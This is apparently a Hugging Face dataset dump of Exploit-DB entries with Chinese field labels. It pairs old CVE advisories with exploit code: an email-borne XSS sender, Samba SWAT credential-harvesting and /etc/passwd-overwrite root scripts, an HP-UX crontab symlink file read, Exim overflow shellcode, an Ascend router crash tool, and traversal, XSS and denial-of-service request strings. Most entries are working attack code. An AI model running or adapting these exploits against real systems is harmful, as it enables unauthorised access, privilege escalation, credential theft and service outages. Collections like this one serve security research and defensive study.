QLWD/code_shield huggingface dataset:
标题: afterlogic mailsuite pro (VMware Appliance) 6.3 - Persistent Cross-Site Scripting EDB-ID: 20352 CVE: 2012-2587 类型: WEBAPPS 平台: WINDOWS 发布日期: 2012-08-08 漏洞利用脚本: #!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: AfterLogic Mailsuite Pro (VMware Appliance)
Version: 6.3
Vendor Site: http://www.afterlogic.com/
Software Download: http://www.afterlogic.com/download/

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure

Installed On: Windows Server 2003 SP2
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9
Client Test OS: Window XP Pro SP3 (x86)
Browser Used: Internet Explorer 8
Client Test OS: MAC OS Lion
Browser Used: Firefox 12

Injection Point: Body
Injection Payload(s):
1: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
2: <SCRIPT SRC=//attacker/.j>
3: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>

'''

import smtplib, urllib2

payload = """<IFRAME SRC="javascript:alert('XSS');"></IFRAME>"""

def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()

username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"

print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password) URL: https://www.exploit-db.com/exploits/20352
标题: Samba 2.0.7 - SWAT Logfile Permissions EDB-ID: 20341 CVE: 2000-0936 类型: LOCAL 平台: LINUX 发布日期: 2000-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/1874/info

The Samba software suite is a collection of programs that implements the SMB protocol for unix systems, allowing you to serve files and printers to Windows, NT, OS/2 and DOS clients. This protocol is sometimes also referred to as the LanManager or Netbios protocol. Samba ships with a utility titled SWAT (Samba Web Administration Tool) which is used for remote administration of the Samba server and is by default set to run from inetd as root on port 701. Certain versions of this software ship with a vulnerability local users can use to leverage root access. 

This problem in particular is a permissions problem where users can take advantage of poor permission setting in SWAT's log files to read username and password data which SWAT records for all users which login to remotely administrate the server. If logging is turned on (it is not enabled by default) SWAT it logs by default to:

/tmp/cgi.log

This file is world readable and contains usernames and passwords which local users may pull from the file (base64 encoded).


#!/bin/sh
# phear my ugly shell scripting! - miah@uberhax0r.net
# grabs username:password from swat cgi.log, then decodes 
# and outputs the results.
clear
echo "######################"
echo "#checking for cgi.log#"
echo "######################"
echo
 if [ -f /tmp/cgi.log ]
  then
 echo " - cgi.log found"
 echo " - extracting logins"
 echo
 grep "Basic" /tmp/cgi.log|awk '{print $3}' > /tmp/encoded.cgi.log
 sort /tmp/encoded.cgi.log > /tmp/encoded.cgi.log.1
 uniq /tmp/encoded.cgi.log.1 > /tmp/uniq.cgi.log
 rm /tmp/encoded.cgi.log*
 for i in $( cat /tmp/uniq.cgi.log ); do
  echo $i 012| mmencode -u
  echo
 done 
 rm /tmp/uniq.cgi.log
  else
 echo " - cgi.log not found!" 
fi URL: https://www.exploit-db.com/exploits/20341
标题: HP-UX 10.20/11.0 - crontab '/tmp' File EDB-ID: 20329 CVE: 2000-0972 类型: LOCAL 平台: HP-UX 发布日期: 2000-10-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/1845/info

crontab is a binary in the cron package of the HP-UX cron implementation which allows a user to create a file of scheduled commands. A vulnerabiltiy in crontab exists that allows a user to read any file on an HP-UX system. crontab as implemented with HP-UX is a access controlled binary. Users are permitted to run crontab only if they have an access entry in the crontab.allow file.

To create a crontab, a user must execute the command "crontab -e." Executing this command launches the vi editor, creates a file in the /tmp directory with the ownership delegated to the user running the command. While the file exists in /tmp, the owner of the file may spawn a shell from vi and create a symbolic link to any file on the system. After exiting the spawned shell, then quitting vi, an error message will return the contents of the previously symbolically linked file to the standard output of the user.


#!/bin/sh
#
#  HP-UX 11.00 crontab
#
#  Kyong-won,Cho
#
#             dubhe@hackerslab.com
#
#  Usage : ./crontab.sh <distfile>
#
#

if [ -z "$1" ]
then

echo "Usage : $0 <distfile>"
exit

fi

cat << _EOF_ > /tmp/crontab_exp
#!/bin/sh

ln -sf $1 \$1

_EOF_

chmod 755 /tmp/crontab_exp

EDITOR=/tmp/crontab_exp
export EDITOR

crontab -e 2> /tmp/crontab$$

grep -v "error on previous line" /tmp/crontab$$

rm -f /tmp/crontab_exp /tmp/crontab$$ URL: https://www.exploit-db.com/exploits/20329
标题: Unify eWave ServletExec 3.0 c - Denial of Service EDB-ID: 20336 CVE: 2000-1025 类型: DOS 平台: MULTIPLE 发布日期: 2000-10-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/1868/info

Unify eWave ServletExec is a Java/Java Servlet engine plug-in for major web servers such as Microsoft IIS, Apache, Netscape Enterprise Server, etc.

eWave ServletExec is susceptible to a denial of service attack if a URL invoking the ServletExec servlet preceded by /servlet is requested. The ServletExec engine will attempt to bind a server thread over port 80 and if the web server is currently running, a java.net.BindException error will result thus halting all operations on the ServletExec engine. The web server is not affected by this vulnerability. Restarting the application is required in order to regain normal functionality.

http://target/servlet/ServletExec

or 

nc 10.0.0.1 80
GET /servlet/ServletExec HTTP/1.0 URL: https://www.exploit-db.com/exploits/20336
标题: Exim Buffer 1.6.2/1.6.51 - Local Overflow EDB-ID: 20333 CVE: 1999-0971 类型: LOCAL 平台: UNIX 发布日期: 1997-07-21 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/1859/info

A potential local root yielding buffer overflow vulnerability exists in Exim mail client version 1.62. 

A buffer used in processing filenames of message attachments can be overflowed by a maliciously-formed filename. As a result, the excessive data copied onto the stack can overwrite critical parts of the stack frame such as the calling functions' return address. Since this data is supplied by the user it can be a crafted so that alter the program's flow of execution. If properly exploited, this can yield root privilege to the attacker.
*/

/* sample code for one OS/compiler combination; ./this ./exim -bt you */

char code[] = {
0x31,0xc0 /* eax = 0 */
, 0x50 /* push eax */
, 0xbb,0x98,0x30,0x04,0x00 /* ebx = 0x43098; &seteuid in my copy of exim */
, 0xff,0xd3 /* call ebx */
, 0x31,0xc0
, 0x50
, 0xb8,0x9a,0xd1,0x03,0x00 /* eax = 0x3d19a; &"/bin/sh" in my copy of exim */
, 0x50
, 0x50
, 0xbb,0xf8,0x29,0x04,0x00 /* ebx = 0x429f8; &execl in my copy of exim */
, 0xff,0xd3
, 0x00 /* just to terminate the last string in the environment */
} ;

char buf[1000];
char *env[1001];

void main(argc,argv)
int argc;
char **argv;
{
int i;
int j;

for (i = 0;i < sizeof buf;++i) buf[i] = 0x90; /* nop */
memcpy(buf + sizeof buf - sizeof code,code,sizeof code);

j = 0;
env[0] = buf;
for (i = 0;i < sizeof buf;++i) if (!buf[i]) env[++j] = buf + i + 1;
env[j] = 0;

if (argv[1]) execve(argv[1],argv + 1,env);
exit(1);
} URL: https://www.exploit-db.com/exploits/20333
标题: Ascend R 4.5 Ci12 - Denial of Service EDB-ID: 20332 CVE: 1999-0193 类型: DOS 平台: HARDWARE 发布日期: 1998-03-17 漏洞利用脚本: #
#source: https://www.securityfocus.com/bid/1855/info
# 
#A vulnerability exists in the operating system of some Ascend routers. If an invalid TCP packet (of zero length) is sent to the administration port of Ascend Routers 4.5Ci12 #or earlier, the result will be a crash and reboot of the attacked router, accomplishing a denial of service attack.
# 
#Note that 3Com is reportedly also vulnerable, but it is not verified which versions of IOS are exploitable.
#

#!/usr/bin/perl

#
# Ascend Kill II - perl version
# (C) 1998 Rootshell - http://www.rootshell.com/ - <info@rootshell.com>
#
# Released: 3/17/98
#
# Thanks to Secure Networks.  See SNI-26: Ascend Router Security Issues
# (http://www.secnet.com/sni-advisories/sni-26.ascendrouter.advisory.html)
#
#  NOTE: This program is NOT to be used for malicous purposes.  This is
#        intenteded for educational purposes only.  By using this program
#        you agree to use this for lawfull purposes ONLY.
#
#

use Socket;

require "getopts.pl";

sub AF_INET {2;}
sub SOCK_DGRAM {2;}

sub ascend_kill {
  $remotehost = shift(@_);
  chop($hostname = `hostname`);
  $port = 9;
  $SIG{'INT'} = 'dokill';
  $sockaddr = 'S n a4 x8';
  ($pname, $aliases, $proto) = getprotobyname('tcp');
  ($pname, $aliases, $port) = getservbyname($port, 'tcp')
  unless $port =~ /^\d+$/;
  ($pname, $aliases, $ptype, $len, $thisaddr) =
  gethostbyname($hostname);
  $this = pack($sockaddr, AF_INET, 0, $thisaddr);
  ($pname, $aliases, $ptype, $len, $thataddr) = gethostbyname($remotehost);
  $that = pack($sockaddr, AF_INET, $port, $thataddr);
  socket(S, &AF_INET, &SOCK_DGRAM, 0);
    $msg = pack("c64",
    0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
    0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
    0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
    0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
    0x50, 0x41, 0x53, 0x53);
  for ($i=0; $i<500; $i++) {
    $msg .= pack("c1", 0xff);
  }
  send(S,$msg,0,$that) || die "send:$!";
}

if ($ARGV[0] eq '') {
  print "usage: akill2.pl <remote_host>\n";
  exit;
}

&ascend_kill($ARGV[0]); URL: https://www.exploit-db.com/exploits/20332
标题: Microsoft Indexing Service (Windows 2000/NT 4.0) - '.htw' Cross-Site Scripting EDB-ID: 20335 CVE: 2000-0942 类型: REMOTE 平台: WINDOWS 发布日期: 2000-10-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/1861/info

A cross-site scripting vulnerability has been reported in Microsoft Indexing Services for Windows 2000/NT4 and its handling of the .htw extension. If a user inadvertantly opened a hostile link through a browser or HTML compliant e-mail client, active content such as JavaScript may be executed. For example, the following link when processed by IIS will yield successful exploitation:

http://target/null.htw?CiWebHitsFile=filename.htm&CiRestriction="<SCRIPT>Active Scripting</SCRIPT>"

It is not necessary to specify a valid .htw file because the virtual file null.htw is stored in memory and the .htw extension is mapped by default to webhits.dll.

Indexing Services is shipped with Windows 2000, however is not started by default. Those who are running a web server and have enabled Indexing Services are recommended to apply the patch. URL: https://www.exploit-db.com/exploits/20335
标题: Samba 2.0.7 - SWAT Symlink (2) EDB-ID: 20339 CVE: 2000-0935 类型: LOCAL 平台: LINUX 发布日期: 2000-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/1872/info
 
The Samba software suite is a collection of programs that implements the SMB protocol for unix systems, allowing you to serve files and printers to Windows, NT, OS/2 and DOS clients. This protocol is sometimes also referred to as the LanManager or Netbios protocol. Samba ships with a utility titled SWAT (Samba Web Administration Tool) which is used for remote administration of the Samba server and is by default set to run from inetd as root on port 701. Certain versions of this software ship with a vulnerability local users can use to leverage root access.
 
This problem in particular is a symlink problem where user can take advantage of poor programming in SWAT's logging facilities (which are not enabled by default) to overwrite files with user specified data. In this case, the logging is enabled under SWAT it logs by default to:
 
/tmp/cgi.log
 
This file logs all traffic to the web service, regrettably this file does not have restrictive permissions set on it and local users may symlink
the file to any other file (which they have read access to) on the system. They can then connect to the port in question (701 by default) and have the data they type in entered into a file of their choice, typically /etc/passwd .


#!/bin/sh
# swat for samba 2.0.7 compiled with cgi logging exploit
# discovered by miah <miah@uberhax0r.net>
# exploit by optyx <optyx@uberhax0r.net>
if [ -f /tmp/cgi.log ]; then
if [ `rm -f /tmp/cgi.log` ]; then
echo "/tmp/cgi.log exists and cannot be deleted"
exit
fi
fi
echo "backing up /etc/passwd"
cp -pd /etc/passwd /tmp/.bak
touch -r /etc/passwd /tmp/.bak
ln -s /etc/passwd /tmp/cgi.log
echo "connecting to swat"
echo -e "uberhaxr::0:0:optyx r0x y3r b0x:/:/bin/bash\n"| nc -w 1 localhost swat
if [ `su -l uberhaxr -c "cp /bin/bash /tmp/.swat"` ]; then
echo "exploit failed"
rm /tmp/.bak
rm /tmp/cgi.log
exit
fi
su -l uberhaxr -c "chmod u+s /tmp/.swat"
echo "restoring /etc/passwd"
su -l uberhaxr -c "cp -pd /tmp/.bak /etc/passwd; \
chown root.root /etc/passwd; \
touch -r /tmp/.bak /etc/passwd"
rm /tmp/.bak
rm /tmp/cgi.log
echo "got root? (might want to rm /tmp/.swat)"
/tmp/.swat URL: https://www.exploit-db.com/exploits/20339
标题: GNU Ffingerd 1.19 - 'Username' Validity Disclosure EDB-ID: 20327 CVE: 1999-0492 类型: REMOTE 平台: UNIX 发布日期: 1999-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/1841/info

A vulnerability in Ffingerd version 1.19, the popular remote user-information server, which allows a remote user to determine whether or not a given username exists on the system.

Normally, if a user has declined to be open to finger requests, a finger attempt will elicit this response: 

'That user does not want to be fingered'

However, if a remote user attempts to finger a nonexistent username, the attempt will return the default message:

'That user does not want to be fingered.'

The extra '.' at the end of the second message reveals that the message was generated as a result of an attempt to finger a nonexistent user, as opposed to one who simply does not wish to be fingered. As a result, an attacker familiar with the discrepancy between the two failure message strings will be able to test the validity of usernames. Having this information can assist an attacker in carrying other compromises of system security.

finger username@host URL: https://www.exploit-db.com/exploits/20327
标题: Intel InBusiness eMail Station 1.4.87 - Denial of Service EDB-ID: 20328 CVE: 2000-0989 类型: DOS 平台: HARDWARE 发布日期: 2000-10-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/1844/info

A buffer overflow exists in the Intel InBusiness eMail Station, a dedicated email device. When attempting to establish a connection, the username submitted to the device is not properly filtered for length. By supplying a string for USER of approximately 620 characters in length, it is possible for a remote attacker to overflow the relevant buffer. The device will halt in response, requiring the unit to be powered down and restarted. In addition to this denial of service, an attacker sufficiently familiar with the hardware architecture and firmware of this platform may, potentially, be able to exploit this overflow to place malicious machine code on the stack, permitting interference with or modification of the device's software, interception of messages, or another compromise of the unit's normal function.

[foo@bar]$ telnet mailstation 110
Trying mailstation...
Connected to mailstation.
Escape character is '^]'.
+OK Pop server at mailstation starting. <2831812.972049732@mail>
user [buffer]

where [buffer] is appx. 620 chars of your own choice.(tried A and %, expect
all to work)

Symptoms: The box(a nice little piece of hardware with built-in harddrive
and all) will stop responding, and needs a power cycle to restore function. URL: https://www.exploit-db.com/exploits/20328
标题: Netscape Directory Server 4.12 - Directory Server Directory Traversal EDB-ID: 20325 CVE: 2000-1075 类型: REMOTE 平台: WINDOWS 发布日期: 2000-10-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/1839/info
 
 
Acquiring access to known files outside of the web root is possible through directory traversal techniques in Netscape Directory Server. This is made possible through the use of "\../" in a HTTP request. The following services are affected by this vulnerability:
 
- The Agent services server on port 8100/tcp
- The End Entity services server on port 443/tcp (Accessible through SSL)
- The Administrator services server on a random port configured during installation.
 
https://target/ca/\../\../\../\file.ext URL: https://www.exploit-db.com/exploits/20325
标题: Cisco IOS 12 - Software '?/' HTTP Request Denial of Service EDB-ID: 20323 CVE: 2000-0984 类型: DOS 平台: HARDWARE 发布日期: 2000-10-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/1838/info


Cisco devices running IOS software may be prone to a denial of service attack if a URL containing a question mark followed by a slash (?/) is requested. The device will enter an infinite loop when supplied with a URL containing a "?/" and an enable password. Subsequently, the router will crash in two minutes after the watchdog timer has expired and will then reload. In certain cases, the device will not reload and a restart would be required in order to regain normal functionality.

This vulnerability is restricted to devices that do not have the enable password set or if the password is known or can be easily predicted. The vulnerable service is only on by default in the Cisco 1003, 1004 and 1005 routers. 

Users can identify vulnerable or invulnerable devices running IOS by logging onto the device and issuing the ?show version? command. If IOS is running on a vulnerable device the command will return ?Internetwork Operating System Software? or ?IOS (tm)? with a version number.

Vulnerable IOS software may be found on the following Cisco devices:

*Cisco routers in the AGS/MGS/CGS/AGS+, IGS, RSM, 800, ubr900, 1000, 1400, 1500, 1600, 1700, 2500, 2600, 3000, 3600, 3800, 4000, 4500, 4700, AS5200, AS5300, AS5800, 6400, 7000, 7200, ubr7200, 7500, and 12000 series.
*Recent versions of LS1010 ATM switch. 
*Catalyst 6000 with IOS.
*Catalyst 2900XL LAN switch with IOS.
*Cisco DistributedDirector.

http://target/anytext?/ URL: https://www.exploit-db.com/exploits/20323
标题: Allaire JRun 2.3 - Arbitrary Code Execution EDB-ID: 20314 CVE: 2000-1053 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/1831/info


Jrun contains a vulnerability that allows a user to compile and execute JSP code from an arbitrary file on the webserver's filesystem. This bug is due to the way JSP execution is invoked -- if a requested filename/path is prefixed with '/servlet/'. If a user specifies "../" paths as part of a "/servlet/" request, it is possible to access documents outside of the webroot. 

The document specified (the complete path must be known by the attacker) will then be compiled and executed as a JSP script. This can be a serious vulnerability if an attacker can send user-input to a file on the filesystem. An example of this is a guestbook application - a malicious user could put JSP code into a guestbook file and then have it executed through this bug (as long as the location of the file is known). 

If exploited successfully this can lead to a complete compromise of the host.

http://target/servlet/com.livesoftware.jrun.plugins.jsp.JSP/../../path/to/filename

http://target/servlet/jsp/../../path/to/filename URL: https://www.exploit-db.com/exploits/20314
标题: iPlanet Certificate Management System 4.2 - Directory Traversal EDB-ID: 20324 CVE: 2000-1075 类型: REMOTE 平台: WINDOWS 发布日期: 2000-10-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/1839/info


Acquiring access to known files outside of the web root is possible through directory traversal techniques in both iPlanet Certificate Management System (CMS). This is made possible through the use of "\../" in a HTTP request. The following services are affected by this vulnerability:

- The Agent services server on port 8100/tcp
- The End Entity services server on port 443/tcp (Accessible through SSL)
- The Administrator services server on a random port configured during installation.

https://target/ca/\../\../\../\file.ext URL: https://www.exploit-db.com/exploits/20324
标题: Sun HotJava Browser 3 - Arbitrary DOM Access EDB-ID: 20322 CVE: 2000-0958 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-10-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/1837/info

A malicious website operator may be able to obtain cookies from a target system browsing with Sun HotJava Browser. 

The Document Object Model (DOM) of arbitrary URLs can be accessed if a specially formed javascript is launched from a named window. Cookies that may contain sensitive information can be acquired through this method.

<HTML>
<HEAD>
<TITLE>
Demo - HotJava Browser 3.0 JavaScript security vulnerability
</TITLE>
</HEAD>
<BODY>
Demo - HotJava Browser 3.0 JavaScript security vulnerability
<BR>
This page shows the cookie and the first link from from www.sun.com in 10 seconds
<BR>
Written by Georgi Guninski
<BR>

<SCRIPT>
window.open("http://www.sun.com","g");
setTimeout("window.open('javascript:alert(\"The first link is: \"+document.links[0].href);alert(\"The cookie is: \"+document.cookie)','g')",10000);
</SCRIPT>

<center>(C) Copyright 2000 Georgi Guninski</center>
<BR>
<center>
| <a href="http://www.guninski.com">Home</a> | 
<a href="browsers.html">Internet Explorer</a> | 
<a href="win2k.html">Windows 2000</a> | 
<a href="exploit.html">AIX</a> | 
<a href="netscape.html">Netscape</a> | 
<a href="greets.html">Greets</a> | 
<a href="index.html">More...</a> | 
</center>
</BODY>
</HTML> URL: https://www.exploit-db.com/exploits/20322
标题: Microsoft IIS 3.0 - 'newdsn.exe' File Creation EDB-ID: 20309 CVE: 1999-0191 类型: REMOTE 平台: WINDOWS 发布日期: 1997-08-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/1818/info

Microsoft IIS 3.0 came with a sample program, newdsn.exe, installed by default in the directory wwwroot/scripts/tools/. Execution of this program with a properly submitted URL could allow for remote file creation. The file created is a Microsoft Access Database, but can have any extension, including .html.

http://vulnerable.site.comtools/newdsn.exe?driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=Evil+samples+from+microsoft&dbq=..%2F..%2Fwwwroot%2Fevil.html&newdb=CREATE_DB URL: https://www.exploit-db.com/exploits/20309